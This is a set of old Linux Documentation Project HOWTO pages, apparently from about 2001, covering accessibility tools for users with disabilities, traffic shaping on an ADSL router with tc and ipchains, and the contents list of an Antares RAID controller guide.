  • ToggleKeys sound an audio alert that warns the user that a keystroke created a locking state for keys, such as Caps Lock, and Num Lock.

  • RepeatKeys allow a user with limited coordination additional time to release keys before multiple key sequences are sent to the application.

  • BounceKeys or Delay Keys have a delay between keystrokes. This function can help prevent the system from accepting unintentional keystrokes.

5.2. Assistive Technologies for the Physically Disabled

The following is a list of assistive technologies for the physically disabled:

5.2.1. On-Screen Keyboard

On-screen keyboards enable a user to select keys using a pointing device, such as a mouse, trackball, or touch pad. This application can be used in place of a standard keyboard.

  • GTkeyboard is a on-screen, graphical keyboard and can be downloaded at: http://opop.nols.com/gtkeyboard.html.

5.2.2. Speech Recognition

Speech recognition utilities are used by people with mobility impairments, so they can operate the computer using voice control.

  • Open Mind Speech is a development project for speech recognition tools and applications. Information for the project and a mailing list are available at: http://freespeech.sourceforge.net/.

  • ViaVoice Dictation for Linux allows you to write documents using your voice rather than a keyboard. Information and downloads are available at: http://www-4.ibm.com/software/speech/dev/.

  • This site has information and links related to several different speech recognition utilities. http://www.trace.wisc.edu/world/computer_access/unix/unixshar.html.

5.3. Additional Resources

The following is a list of additional Web sites that may be of interest to users with mobility impairments:

  • This site provides a kernel patch that can be downloaded to enable a one-handed keyboard. The download is available at: http://www.fourtytwo.de.

  • Configuration and information on Adapting the Linux Keyboard for a one handed user is available at: http://www.eklhad.net/linux/app/onehand.html.

  • Morseall allows the user to control a Linux shell by tapping Morse code on the left mouse button: http://sourceforge.net/projects/morseall.

  • The keyboard and console HOWTO provides additional keyboard configuration information. http://www.ibiblio.org/pub/Linux/docs/HOWTO/Keyboard-and-Console-HOWTO.

  • There is a Speech Recognition HOWTO, written by Stephen Cook that provides complete details for anyone interested in learning more about speech recognition applications. http://www.linuxdoc.org/HOWTO/.

Prev | Home | Next
Hearing Impaired |  | Cognitive, Language, and Other Impairments


Visual Impairments

Linux Accessibility HOWTO
Prev Next

3. Visual Impairments

There are two categories of visual impairments. Individuals who are partially sighted (for example, blurred vision, near and far-sightedness, color blindness) and those who are totally blind. Assistive technologies are available for the Linux operating system for visually impaired users, and many of the software packages are free.

3.1. Technologies for the Visually Impaired

The following is a list of assistive technologies for visually impaired users:

3.1.1. Screen Readers

Screen readers are software applications that are installed on the computer to provide translation of the information on the computer screen to an audio output format. The translation is passed to the speech synthesizer and the words are spoken out loud. Currently, fully functional screen readers are only available for Linux in console mode. This section describes some of the most common screen readers.

  • Emacspeak is the complete Audio Desktop is an excellent non-graphical, text based interface for users who are visually impaired. This application can be used as a screen reader in conjunction with a hardware synthesizer or IBM ViaVoice® Run-time text-to-speech application. More information and software packages of are available at: http://www.cs.cornell.edu/home/raman/emacspeak/. The Emacspeak HOWTO http://www.ibiblio.org/pub/Linux/docs/HOWTO/ includes a tutorial and installation guide.

  • Jupiter Speech System is a screen reader for Linux in console mode. A user guide and software packages are available at: http://www.eklhad.net/linux/jupiter/.

  • Screader is a screen reader for Linux in console mode that works with the Festival software speech synthesizer and the Accent hardware synthesizer. Information and downloads are available at: http://www.euronet.nl/~acj/eng-screader.html.

  • Speaker is a new plugin for the Konqueror file manager and Web browser. Speaker provides Text to Speech using the Festival speech system or IBM ViaVoice. Downloads are available at: http://dogma.freebsd-uk.eu.org/~grrussel/speaker.html.

  • Speakup is a screen review package for the Linux operating system. It requires a hardware speech synthesizer, such as the DecTalk Express. An installation boot disk and packages are available at: http://www.linux-speakup.org/ that allow a visually impaired user to install the Linux operating system.

  • ZipSpeak is a talking mini-distribution of Linux. More information and software packages are available at: http://www.linux-speakup.org/zipspeak.html.

3.1.2. Speech Synthesizers

Speech synthesizers can be a hardware device or a text to speech (TTS) software application that creates the sounds necessary to provide speech output. Hardware synthesizers are available for the Linux operating system; however, they can be very expensive and must be compatible with the screen reader application in order to function properly. The alternative is to download and install a software synthesizer such as IBM's ViaVoice or Festival and configure the application to a compatible screen reader, such as Emacspeak.

3.1.2.1. Hardware Speech Synthesizers

A hardware speech synthesizer is a device that is connected to the computer's serial or parallel port and translates the text to a spoken output. Normally there are Braille labels on all controls to indicate the off and on position, and volume control. Hardware synthesizers also have the ability to speak in different tones that can be setup to indicate various parts of a document or text. Some models will provide a connection for headphones. The following is a list of speech synthesizers that are supported on the Linux operating system and can be used with Emacspeak:

  • Accent SA and Apollo 2 (http://polio.dyndns.org/chip/vss.html)

  • DECTalk Express (http://www.4access.com/synthesizers.asp)

  • DoubleTalk (http://www.rcsys.com)

3.1.2.2. Software Speech Synthesizers

A software speech synthesizer is an application that translates the text on the screen to speech output and provides speech synthesis, so that the screen reader application can read information out loud to the user.

  • Festival is a general, multi-lingual speech synthesis system developed at the Center for Speech Technology Research (CSTR). It offers a full TTS system with various application program interfaces, as well as an environment for development and research of speech synthesis techniques. Mbrola or FestVox are needed to complete the Festival installation. Software packages and installation instructions are available at: http://www.cstr.ed.ac.uk/projects/festival/.

  • IBM ViaVoice® is a TTS technology that provides a flexible speech synthesis engine. Currently it supports U.S. English only and is available at: http://www-4.ibm.com/software/speech/dev/ttssdk_linux.html.

  • Mbrola is a speech synthesizer that can be used with a TTS application, such as, Festival to provide speech output. More information is available at: http://tcts.fpms.ac.be/synthesis/mbrola.html.

3.1.3. Screen Magnifiers

Screen magnifiers enable users that are partially sighted to view selected areas of the screen in a manner similar to using a magnifying glass.

  • GMag is a screen magnifier for X Windows. It provides continuous magnification while you work, as well as the option to change the contrast of images at run-time. More information and downloads are available at: http://projects.prosa.it/gmag/.

  • Puff is a screen magnifier for users who need a high magnification of text and graphics in X Windows. Puff follows the focus of the mouse or pointer and enlarges the portion of the screen under the cursor. In order for Puff to run properly on Linux the source code needs to be modified. This application is not a good option for inexperienced users. The software packages and source code modification instructions are available at: http://trace.wisc.edu/world/computer_access/unix/unixshare.html.

  • SVGATextmode enlarges or reduces the font size for users who perfer to work in console mode. The normal text screen that Linux provides is 80 characters across and 25 vertically. After SVGATextmode is installed, the text can be displayed much larger. One example would be 50 characters across and 15 vertically. The program does not offer the ablitity to zoom in and out, but the user can re-size when necessary. The most current download is available at: http://freshmeat.net/projects/svgatextmode/. Do not run try to run SVGATextmode from an X Windows terminal. You must be in console mode for the display to function properly.

  • UnWindows is a collection of programs that includes Dynamag, a screen magnification program that helps the user locate the mouse pointer. The source code is available for Dynamag as a stand alone application, or the entire UnWindows package can be downloaded at: http://www.cs.rpi.edu/pub/unwindows/. The entire UnWindows package will not work with Linux without programming modifications. However, the Dynamag application can be installed successfully without any additional code changes.

  • Xzoom is a screen magnifier similar to Xmag that allows the user to magnify rotate or mirror a portion of the screen. The most current download is available at: http://filewatcher.org/sec/xzoom.html.

3.1.4. Braille Devices

Braille terminals are normally used by individuals who are totally blind and may be hearing impaired as well. A Braille display uses a series of pins to form Braille symbols that are continuously updated as the users changes focus. A Braille embosser is a hardware device for printing a hard copy of a text document in Braille. Braille translation software is required to translate the on-screen text to a Braille format.

3.1.4.1. Braille Hardware Devices

The following Braille devices have been listed on the hardware compatibility list of one or more of the following Braille translation applications:

  • Braillex http://www.redhat.com/mailing-lists/blinux-announce/msg00031.html.

  • Alva B.V.: ABT3xx, Delphi (serial and parallel ports), Satellite. .

  • Baum: Vario/RBT 40/80 (emulation 1/2) http://www.baum.de/English/homeeng1.htm.

  • Blazie Engineering: BrailleLite 18/40 http://www.freedomscientific.com/index.html.

  • Handialog: VisioBraille 2040 http://www.handialog.com/indexuk.htm.

  • Handy Tech Elektronik GmbH: BrailleWave, mod20, mod40, mod80 http://www.handytech.de/.

  • MDV: MB208/MB408L/MB408S (protocol 5) http://www.cavazza.it/cnt/schede/scheda-mb408l-eng.html.

  • Pulse Data International: BrailleNote 18/32 http://www.pulsedata.co.nz/graphics.htm.

  • Telesensory Systems Inc.: Navigator 20/40/80 (latest firmware version only), PowerBraille 40/65/80 http://www.telesensory.com/.

  • Tieman B.V.: CombiBraille 25/45/85, MiniBraille 20, MultiBraille MB125CR/MB145CR/MB185CR http://www.braillevoyager.nl/uk/index.html.

  • Tiflosoft: VideoBraille 40 http://www.tinlecco.it/tiflosoft/.

3.1.4.2. Braille Translation Software

The following Braille translation applications are available for download:

  • Brass is a new program that combines speech and Braille output. The current version is still in testing and can be downloaded at: http://www.butenuth.onlinehome.de/blinux/.

  • BrLTTY supports a serial port Braille terminal and provides access to the Linux console. It drives the terminal and provides complete screen review capabilities. It is available at: http://dave.mielke.cc/brltty/.

  • NFBTrans is a freeware Braille translator written by the National Federation for the Blind (NFB). Software packages are available for download at: http://www.nfb.org/nfbtrans.htm.

3.1.5. Cursors for X Windows

Changing the shape and size of the mouse cursor can help users who have a problem following or seeing the cursor. The X Big Cursor mini HOWTO explains how to configure enlarged mouse cursors with the X Windows system. This HOWTO is available at: http://www.icewalk.com/doclib/howtos/mini/X-Big-Cursor.html.

There are also a large select of cursors that can be downloaded at: http://themes.tucows.com/cursors.html.

3.1.6. Audio

Audio can be very useful to users who are visually impaired. In most X Windows desktop environments audio alerts and sound events can be setup within the desktop control center by enabling sound and verifying that the option to show sound is activated. You will need to check the desktop users manual for setup and configuration of sound events.

Locktones is an excellent application for providing toggle keys that sound an audio alert to warn the user that a keystroke has created a locking state such as Cap Locks, or Num Locks. The application can be downloaded at: http://leb.net/pub/blinux/.

Linux can also be configured to beep at the login prompt so the user knows when to type in the password. A configuration utility can be downloaded and installed that can provide this function at: http://leb.net/pub/blinux/bootmeup/.

3.1.7. Additional Resources

  • Access Mozilla has a goal to build an accessible Web suite: browser, e-mail, news, composer and chat that conform to the W3C accessibility standards. More information is available at: http://access-mozilla.sourceforge.net/.

  • Blind + Linux = BLINUX provides documentation, downloads and a mailing list that focus on users who are blind. Information and software packages are available at: http://leb.net/blinux.

  • LaTex/Tex is an extremely powerful document preparation system and it can be used to produce large print documents. More information is available at: http://www.emerson.emory.edu/services/latex/latex_toc.html.

  • National Federation for the Blind's (NFB) purpose is to help blind persons achieve self-confidence and self-respect and to act as a vehicle for collective self expression by the blind. Information for blind users, as well as software are available at: http://www.nfb.org/.

  • Project Ocularis is run by volunteers, and the project's aim is to improve Linux accessibility through the creation of new free software and the modification of pre-existing free software. More information is available at: http://ocularis.sourceforge.net.

  • Screen is a standard piece of software that allows many different applications to run at the same time on a single terminal in console mode. Screen has been enhanced to support some Braille terminals directly. It is available for download at: http://www.icewalk.com/softlib/app/app_01508.html.

  • SuSE Linux is the first Linux distribution to support installation of the Linux operating system and applications that run on Linux in Braille. The Blinux screen reader runs in the background to enable visually impaired users to work in a Linux console environment. More information is available at: http://www.suse.de/us/products/susesoft/70news/new_in_70.html.

  • xocr is an optical character recognition program that scans written text, such as a book and translates it to audio output, so the information is available to visually impaired users. More information is available at: http://sal.unimedya.net.tr/Z/3/XOCR.html.

Prev | Home | Next
The Linux Operating System |  | Hearing Impaired


Developing Accessible Applications

Linux Accessibility HOWTO
Prev Next

7. Developing Accessible Applications

It is important to consider accessibility when developing new applications for the Linux operating system. The American Foundation for the Blind, the GNOME Accessibility Project, IBM, and Sun have written guidelines that are excellent road maps for developing and testing new Linux software. The following Web sites provide the tools, checklists and testing information to help developers write accessible programs for impaired users.

  • American Foundation for the Blind provides information on creating accessible computer applications at: http://www.afb.org/info_document_view.asp?documentid=198.

  • GNOME Accessibility Project has written a guide specifically for application development for the GNOME 2.0 desktop. More information is available at: http://developer.gnome.org/projects/gap/guide/gad/index.html.

  • IBM Accessibility Center provides links to a software accessibility checklist, testing information, and the Section 508 Rehabilitation Act. This site is located at: http://www-3.ibm.com/able/guidelines.html.

  • Sun Accessibility provides information on designing applications for accessibility at: http://www.sun.com/access/developers/software.guides.html and an Accessibility Quick Reference Guide is available at: http://www.sun.com/access/developers/access.quick.ref.html.

Prev | Home | Next
Cognitive, Language, and Other Impairments |  | Other Helpful Information


Other Helpful Information

Linux Accessibility HOWTO
Prev Next

8. Other Helpful Information

The following is a list of additional information that may be helpful, but is not necessarily targeting a specific disability:

  • The CMU Sphinx Group Source has released a set of reasonably mature, speech components that provide a basic level of technology to anyone interested in creating speech enabled applications. More information is available at: http://fife.speech.cs.cmu.edu/sphinx/.

  • Access to Linux documentation is critical to learning and using Linux. The Linux Documentation Project has links to many Linux HOWTOs, mini HOWTOs, and guides, as well as information on becoming involved in authoring new HOWTOs. More information and downloads are available at: http://www.linuxdoc.org.

  • RPMFind.net provides rpm downloads for Linux applications on most Linux operating systems. The site is located at:http://www.rpmfind.net.

  • Sourceforge provides updated information, documentation, and software for Linux. Some of the applications available are under development. More information and downloads are available at: http://www.sourceforge.net.

  • The Trace Center provides accessibility information and software for the Linux operating system. More information is available at: http://trace.wisc.edu/worl/computer_access/.

Prev | Home | Next
Developing Accessible Applications |  | Acknowledgments


Acknowledgments

Linux Accessibility HOWTO
Prev

9. Acknowledgments

These are the orignal acknowledgments documented by Michael De La Rue. They have been included in their entirety to ensure that each persons efforts to make Linux more accessibile are acknowledged.

Much of this document was created from various information sources on the Internet, many found from Yahoo and DEC's Alta Vista Search engine. Included in this was the documentation of most of the software packages mentioned in the text. Some information was also gleaned from the Royal National Institute for the Blind's help sheets.

T.V. Raman, the author of Emacspeak has reliably contributed comments, information and text as well as putting me in touch with other people who he knew on the Internet.

Kenneth Albanowski kjahds@kjahds.com provided the patch needed for the Brailloterm and information about it.

Roland Dyroff of S.u.S.E. GmbH (Linux distributors and makers of S.u.S.E. Linux (English/German)) looked up KTS Stolper GmbH at my request and got some hardware details and information on the Brailloterm.

The most major and careful checks over of this document were done by James Bowden, jrbowden@bcs.org and Nikhil Nair nn201@cus.cam.ac.uk, the BRLTTY authors who suggested a large number of corrections as well as extra information for some topics.

The contributors to the blinux and linux-access mailing lists have contributed to this document by providng information for me to read.

Mark E. Novak of the Trace R and D centre http://trace.wisc.edu/ pointed me in the direction of several packages of software and information which I had not seen before. He also made some comments on the structure of the document which I have partially taken into account and should probably do more about.

Other contributors include Nicolas Pitrie and Stephane Doyon.

A number of other people have contributed comments and information. Specific contributions are acknowledged within the document.

This version was specifically produced for RedHat's Dr. Linux book. This is because they provided warning of it's impending release to myself and other LDP authors. Their doing this is strongly appreciated since wrong or old information sits around much longer in a book than on the Internet.

No doubt you made a contribution and I haven't mentioned it. Don't worry, it was an accident. I'm sorry. Just tell me and I will add you to the next version.

Prev | Home
Other Helpful Information |


Background

ADSL Bandwidth Management HOWTO
Prev Next

2. Background

2.1. Prerequisites

The method outlined in this document may work in other Linux configurations however it remains untested in any configuration but the following:

  • 586 or higher x86 PC

  • Redhat Linux 6.2

  • 2.2.19 Kernel with QoS Support fully enabled (modules OK)

  • sch_fwprio module or 2.2.19 kernel patch. You can get these here.

2.2. Layout

In order to keep things simple, all references to network devices and configuration in this document will be with respect to the following network layout diagram:

               <-- 128kbit/s      --------------     <-- 10Mbit -->
  Internet <--------------------> | ADSL Modem | <--------------------
                1.5Mbit/s -->     --------------                     |
                                                                     | eth0
                                                                     V
                                                         -----------------
                                                         |               |
                                                         | Linux Router  |
                                                         |               |
                                                         -----------------
                                                          | .. | eth1..ethN
                                                          |    |
                                                          V    V

                                                       Local Network

2.3. Packet Queues

Packet queues are buckets that hold data for a network device when it can't be immediately sent. Most packet queues use a FIFO (first in, first out) discipline unless they've been specially configured to do otherwise. What this means is that when the packet queue for a device is completely full, the packet most recently placed in the queue will be sent over the device only after all the other packets in the queue at that time are sent.

With an ADSL modem, bandwidth is asymmetric with 1.5Mbit/s typical downstream and 128kbit/sec typical upstream. Although this is the line speed, the interface to the router is typically at or above 10Mbit/s. If the interface to the Local Network is also 10Mbit/s, there will typically be NO QUEUING at the router when packets are sent from the Local Network to the Internet. Packets are sent out eth0 as fast as they are received from the Local Network. Instead, packets are queued at the ADSL modem since they are arriving at 10Mbit/s and only being sent at 128kbit/s. Eventually the packet queue at the ADSL modem will become full and any more packets sent to it will be silently dropped. TCP is designed to handle this and will adjust it's transmit window size accordingly to take full advantage of the available bandwidth.

While packet queues combined with TCP result in the most effective use of bandwidth, large FIFO queues can increase the latency for interactive traffic.

Another type of queue that is somewhat like FIFO is an n-band priority queue. However, instead of having just one queue that packets line up in, the n-band priority queue has n FIFO queues which packets are placed in by their classification. Each queue has a priority and packets are always dequeued from the highest priority queue that contains packets. Using this discipline FTP packets can be placed in a lower priority queue than telnet packets so that even during an FTP upload, a single telnet packet will jump the queue and be sent immediately.

Prev | Home | Next
Introduction |  | How it Works


How it Works

ADSL Bandwidth Management HOWTO
Prev Next

3. How it Works

There are two basic steps to optimize upstream bandwidth. First we have to find a way to prevent the ADSL modem from queuing packets since we have no control over how it handles the queue. In order to do this we will throttle the amount of data the router sends out eth0 to be slightly less than the total upstream bandwidth of the ADSL modem. This will result in the router having to queue packets that arrive from the Local Network faster than it is allowed to send them.

The second step is to set up priority queuing discipline on the router. We'll investigate a queue that can be configured to give priority to interactive traffic such as telnet and multiplayer games.

The final step is to configure the firewall to prioritize packets by using fwmark.

3.1. Throttling Bandwidth with Linux CBQ

Although the connection between the router and the modem is at 10Mbit/s, the modem is only able to send data at 128kbit/s. Any data sent in excess of that rate will be queued at the modem. Thus, a ping packet sent from the router may go to the modem immediately, but may take a few seconds to actually get sent out to the Internet if the queue in the modem has any packets in it. Unfortunately most ADSL modems provide no mechanism to specify how packets are dequeued or how large the queue is, so our first objective is to move the place where the outbound packets are queued to somewhere where we have more control over the queue.

We'll do this by using a simple implementation of CBQ (class-based queuing) to limit the rate at which we send packets to the ADSL modem. Even though our upstream bandwidth may be 128kbit/s we'll have to limit the rate at which we send packets to be slightly below that. If we want to lower the latency we have to be SURE that not a single packet is ever queued at the modem. Through experimentation I have found that limiting the oubound traffic to about 90kbit/s with CBQ gives me almost 95% of the bandwidth I could achieve without CBQ. With CBQ enabled at this rate, we've prevented the ADSL modem from queuing packets.

3.2. N-Band Priority Queuing with sch_fwprio

At this point we still haven't realized any change in the performance. We've merely moved the FIFO queue from the ADSL modem to the router. In fact, with linux configured to a default queue size of 100 packets we've probably made our problem worse at this point! But not for long...

Unfortunately, the priority queuing discipline included with linux traffic control was not meant to be a queuing discipline of CBQ. Although it can be used as a leaf queuing discipline, there is no way to classify packets into bands. I solved this problem by changing the way the existing queue classifies packets. The new queue classifies packets into queues based on their fwmark. The lowest fwmark (0x00) is the highest priority queue. Higher fwmark'ed packets will be placed into lower priority queues. Packets fwmark'ed out of range will be placed as if their mark was 0x00 (an incentive to not incorrectly mark packets!) By using the modified queue (sch_fwprio.o) you can classify packets using ipchains (2.2.x) or netfilter (2.4.x) to set the fwmark. The new module must be installed prior to using the prio queuing discipline with tc. This prevents the old priority queue from being loaded by the kernel.

3.3. Classifying Packets with ipchains

The final step in configuring your router to give priority to interactive traffic is to set up the firewall to define how traffic should be classified. This is done by setting the packet's fwmark field.

Without getting into too much detail, here is a simplified description of how outbound packets might be classified into a 4-band priority queue:

  1. Mark ALL packets as 0x03. This places all packets, by default, into the lowest priority queue.

  2. Mark ICMP packets as 0x00. We want ping to show the latency for the highest priority packets.

  3. Mark all packets that have a destination port 1024 or less as 0x01. This gives priority to system services such as Telnet and SSH. FTP's control port will also fall into this range however FTP data transfer takes place on high ports and will remain in the 0x03 band.

  4. Mark all packets that have a destination port of 25 (SMTP) as 0x03. If someone sends an email with a large attachment we don't want it to swamp interactive traffic.

  5. Mark all packets that are going to a multiplayer game server as 0x02. This will give gamers low latency but will keep them from swamping out the the system applications that require low latency

Obviously, this can be customized to fit your needs.

Prev | Home | Next
Background |  | Implementation


Implementation

ADSL Bandwidth Management HOWTO
Prev Next

4. Implementation

Now with all of the explanation out of the way it's time to implement upstream bandwidth management with Linux.

4.1. Obtaining, Compiling and Installing sch_fwprio

If you haven't already, you'll need to obtain the sch_fwprio module or kernel patch. You can download either of these here.

Note: It is not necessary to compile the sch_fwprio module AND apply the fwprio.diff patch! Both accomplish the same thing.

4.1.1. Using the sch_fwprio Module

After downloading the module, extract it into an appropriate directory:

# cd /usr/local/src
# tar -xvzf sch_fwprio.tgz

Now compile the module:

# cd /usr/local/src/fwprio
# make

You're done compiling sch_fwprio. Go on to Setting the Queue Length.

4.1.2. Using the fwprio.diff Kernel Patch

You must have the kernel source package installed to apply the patch. After downloading the patch, apply it to the kernel source tree:

# cd /usr/src
# patch -b -p0 fwprio.diff

Now you'll need to re-compile and install the kernel modules:

# cd /usr/src/linux
# make dep
# make clean
# make modules
# make modules_install

Now you're ready to set the queue length...

4.2. Setting the Queue Length

Even though we'll be placing traffic in different bands based on priority, we still want the queues we set up to empty in about two seconds. This suggests a queue size of 20 packets for our example:

ip link set eth0 txqueuelen 20

4.3. Setting up CBQ

CBQ is poorly documented and can get very complicated, so I will attempt to keep things simple and explain them as best I can. Once again, the reason that we are using CBQ is to limit the rate that we send data out eth0. This will prevent the ADSL modem from queuing packets. Also, we will attach the sch_fwprio queue as a leaf queuing discipline.

All of the statements should be added to your rc.local file or another appropriate startup script.

First we tell Linux that we want CBQ to be the root queuing discipline on eth0:

tc qdisc add dev eth0 root handle 128: cbq bandwidth 10Mbit avpkt 700

With this line we've told Linux to use CBQ on eth0 and that the handle for this class is 128:0, and the average packet is 700 bytes. We've also specified the total bandwidth for eth0 as 10Mbit/sec because this is the maximum speed at which our ethernet card can transmit data. This is NOT your upstream data rate! We'll specify that in the next statement:

tc class add dev eth0 parent 128:0 classid 128:1 cbq bandwidth 10Mbit \
   rate 90Kbit allot 1514 weight 9Kbit prio 5 maxburst 1 avpkt 700 \
   bounded

This statement creates the class which will throttle outbound bandwidth on eth0 (in this case, to 90kbit/s). Since this document is not meant to explain the inner workings of CBQ, I'll skip a detailed explanation. The only important numbers up there are numbers following rate and weight. The number following rate should be slightly lower than your upstream data rate. I use 90kbit which works well for my 128kbit/s upstream, giving me almost full use of my available bandwidth. Whatever you set your rate to, the weight should be about 1/10 of that value. Also, the number following allot sould be set to the mtu for eth0 (1514 works fine for ethernet). Also important is the bounded keyword. If this keyword is not specified, then the class will attempt to borrow extra bandwidth from the parent class.

Now if you've decided NOT to patch your kernel, and instead have compiled the sch_fwprio module, you'll need to load it BEFORE you use the prio queue. Otherwise the stock sch_prio will be loaded:

insmod /usr/local/src/fwprio/sch_fwprio.o

Now you have to attach the queue as a leaf discipline to the CBQ:

tc qdisc add dev eth0 parent 128:1 prio bands 4 priomap 0 1 2 3 3 3 3 3 3 3 3 3 3 3 3 3

tc filter add dev eth0 parent 128:0 protocol ip prio 5 u32 match ip src \
   1.2.3.4/32 flowid 128:1

With these statements we've created a prio queue of 4 bands (which is really using our new sch_fwprio code) and then we've used a filter to mark all of the packets to be handled by the 128:1 classid of our CBQ, which the prio filter is attached to. The priomap keyword, although unused by sch_fwprio, is still necessary to initialize the individual bands. You MUST specify each band number at least once in the 16-field priomap (in the above example I've initialized 4 bands, 0..3). You must start at zero and end with the number of bands minus one. You must specify 16 fields so it's okay to repeat the last band like I've done above. All of this garbage is to satisfy the requirements of the old sch_prio code.

4.4. Setting up Packet Classification

Here's where you get to specify how packets are classified into different priority bands in the queue. This is completely up to you, but here is a good place to start:

Create a new chain called qos-out. Create a new rule as the first rule in the output chain that sends all packets to the qos-out chain (we'll send them back at the end of the qos-out chain):

ipchains -N qos-out
ipchains -I output -i eth0 -j qos-out

Now we'll set up a few packet classification rules (don't forget to RETURN packets back to the output chain if you have other rules there that need to be checked):

ipchains -A qos-out -m 3
ipchains -A qos-out -p icmp -m 0
ipchains -A qos-out -p tcp -s 0.0.0.0/0 0:1024 -m 1
ipchains -A qos-out -p tcp -d 0.0.0.0/0 0:1024 -m 1
ipchains -A qos-out -p tcp -d 0.0.0.0/0 25 -m 2
ipchains -A qos-out -j RETURN

The first rule here marks all packets into the lowest priority band by default. The next rule puts ICMP packets in the highest priority band, since we will be using ping to test latency we want it to return an accurate result. The next two rules place packets to or from system ports (0-1024) in band 1. Although not as high as the ICMP band, this is the band we'll use for 'interactive' traffic such as web requests and telnet. Note that we place port 25 outbound (SMTP) into band 2. This is because we don't want someone sending a file attachment in an email to swamp a telnet session. The final rule sends packets back to the output chain now that we're done classifying them.

Use this only as a starting point. Your qos-out chain will undoubtedly become quite complex as you decide how you want to prioritize traffic. You may find that you need more than 4 bands. You will probably find that giving DNS requests high priority works well, although I haven't included this in the example above.

Prev | Home | Next
How it Works |  | Testing the New Queue


ADSL Bandwidth Management HOWTO

Dan Singletary

dvsing@sonicspike.net

Revision History
Revision 0.1 2001-08-06 Revised by: ds

This document describes how to configure a linux router to more effectively manage outbound traffic on an ADSL modem. Emphasis is placed on lowering the latency for interactive traffic even when the upstream bandwidth is fully saturated.

Table of Contents
1. Introduction
1.1. New Versions of This Document
1.2. Disclaimer
1.3. Copyright and License
1.4. Feedback and corrections
2. Background
2.1. Prerequisites
2.2. Layout
2.3. Packet Queues
3. How it Works
3.1. Throttling Bandwidth with Linux CBQ
3.2. N-Band Priority Queuing with sch_fwprio
3.3. Classifying Packets with ipchains
4. Implementation
4.1. Obtaining, Compiling and Installing sch_fwprio
4.1.1. Using the sch_fwprio Module
4.1.2. Using the fwprio.diff Kernel Patch
4.2. Setting the Queue Length
4.3. Setting up CBQ
4.4. Setting up Packet Classification
5. Testing the New Queue
6. OK It Works!! Now What?
Next
Introduction


Introduction

ADSL Bandwidth Management HOWTO
Prev Next

1. Introduction

The purpose of this document is to suggest a way to manage outbound traffic on an ADSL (or cable modem) connection to the Internet. The problem is that many ADSL lines are limited in the neighborhood of 128kbps for upstream data transfer. Aggravating this problem is the packet queue in the ADSL modem which can take 2 to 3 seconds to empty when full. Together this means that when the upstream bandwidth is fully saturated it can take up to 3 seconds for any other packets to get out to the Internet. This can cripple interactive applications such as telnet and multiplayer games.

1.1. New Versions of This Document

You can always view the latest version of this document on the World Wide Web at the URL http://www.linuxdoc.org.

New versions of this document will also be uploaded to various Linux WWW and FTP sites, including the LDP home page at http://www.linuxdoc.org.

1.2. Disclaimer

Neither the author nor the distributors, or any other contributor of this HOWTO are in any way responsible for physical, financial, moral or any other type of damage incurred by following the suggestions in this text.

1.3. Copyright and License

This document is copyright 2001 by Dan Singletary, and is released under the terms of the GNU Free Documentation License, which is hereby incorporated by reference.

1.4. Feedback and corrections

If you have questions or comments about this document, please feel free

Prev | Home | Next
ADSL Bandwidth Management HOWTO |  | Background


OK It Works!! Now What?

ADSL Bandwidth Management HOWTO
Prev

6. OK It Works!! Now What?

Now that you've successfully started to manage your upstream bandwidth, you should start thinking of ways to use it. After all, you're probably paying for it!

  • Use a Gnutella client and SHARE YOUR FILES without adversely affecting your network performance

  • Run a web server without having web page hits slow you down in Quake

Prev | Home
Testing the New Queue |


Testing the New Queue

ADSL Bandwidth Management HOWTO
Prev Next

5. Testing the New Queue

The easiest way to test your new setup is to saturate the upstream with low-priority traffic. This depends how you have your priorities set up. For the sake of example, let's say you've placed telnet traffic and ping traffic at a higher priority (lower fwmark) than other high ports (that are used for FTP transfers, etc). If you initiate an FTP upload to saturate upstream bandwidth, you should only notice your ping times to the gateway (on the other side of the DSL line) increasing by a small amount compared to what it would increase to with no priority queuing. Ping times under 100ms are typical depending on how you've got things set up. Ping times greater than one or two seconds probably mean that things aren't working right.

Prev | Home | Next
Implementation |  | OK It Works!! Now What?


Antares-RAID-sparcLinux-HOWTO

Thom Coates (tdc3@psu.edu), Carl Munio, Jim Ludemann

v0.1, 28 April 2000

This document describes how to install, configure, and maintain a hardware RAID built around the 5070 SBUS host based RAID controller by Antares Microsystems. Other topics of discussion include RAID levels, the 5070 controller GUI, and 5070 command line. A complete command reference for the 5070's K9 kernel and Bourne-like shell is included.

1. Preamble

2. Acknowledgements and Thanks

3. New Versions

4. Introduction

  • 4.1 5070 Main Features

5. Background

  • 5.1 Raid Levels
  • 5.2 RAID Linear
  • 5.3 Level 1
  • 5.4 Striping
  • 5.5 Level 0
  • 5.6 Level 2 and 3
  • 5.7 Level 4
  • 5.8 Level 5

6. Installation

  • 6.1 SBUS Controller Compatibility
  • 6.2 Hardware Installation Procedure
  • 6.3 Serial Terminal
  • 6.4 Hard Drive Plant

7. 5070 Onboard Configuration

  • 7.1 Main Screen Options
  • 7.2 [Q]uit
  • 7.3 [R]aidSets:
  • 7.4 [H]ostports:
  • 7.5 [S]pares:
  • 7.6 [M]onitor:
  • 7.7 [G]eneral:
  • 7.8 [P]robe
  • 7.9 Example RAID Configuration Session

8. Linux Configuration

  • 8.1 Existing Linux Installation
  • 8.2 New Linux Installation

9. Maintenance

  • 9.1 Activating a spare
  • 9.2 Re-integrating a repaired drive into the RAID (levels 3 and 5)

10. Troubleshooting / Error Messages

  • 10.1 Out of band temperature detected...
  • 10.2 ... failed ... cannot have more than 1 faulty backend.
  • 10.3 When booting I see: ... Sun disklabel: bad magic 0000 ... unknown partition

11. Bugs

12. Frequently Asked Questions

  • 12.1 How do I reset/erase the onboard configuration?
  • 12.2 How can I tell if a drive in my RAID has failed?

13. Advanced Topics: 5070 Command Reference

  • 13.1 AUTOBOOT - script to automatically create all raid sets and scsi monitors
  • 13.2 AUTOFAULT - script to automatically mark a backend faulty after a drive
  • 13.3 AUTOREPAIR - script to automatically allocate a spare and reconstruct a
  • 13.4 BIND - combine elements of the namespace
  • 13.5 BUZZER - get the state or turn on or off the buzzer
  • 13.6 CACHE - display information about and delete cache ranges
  • 13.7 CACHEDUMP - Dump the contents of the write cache to battery backed-up ram
  • 13.8 CACHERESTORE - Load the cache with data from battery backed-up ram
  • 13.9 CAT - concatenate files and print on the standard output
  • 13.10 CMP - compare the contents of 2 files
  • 13.11 CONS - console device for Husky
  • 13.12 DD - copy a file (disk, etc)
  • 13.13 DEVSCMP - Compare a file's size against a given value
  • 13.14 DFORMAT- Perform formatting functions on a backend disk drive
  • 13.15 DIAGS - script to run a diagnostic on a given device
  • 13.16 DPART - edit a scsihd disk partition table
  • 13.17 DUP - open file descriptor device
  • 13.18 ECHO - display a line of text
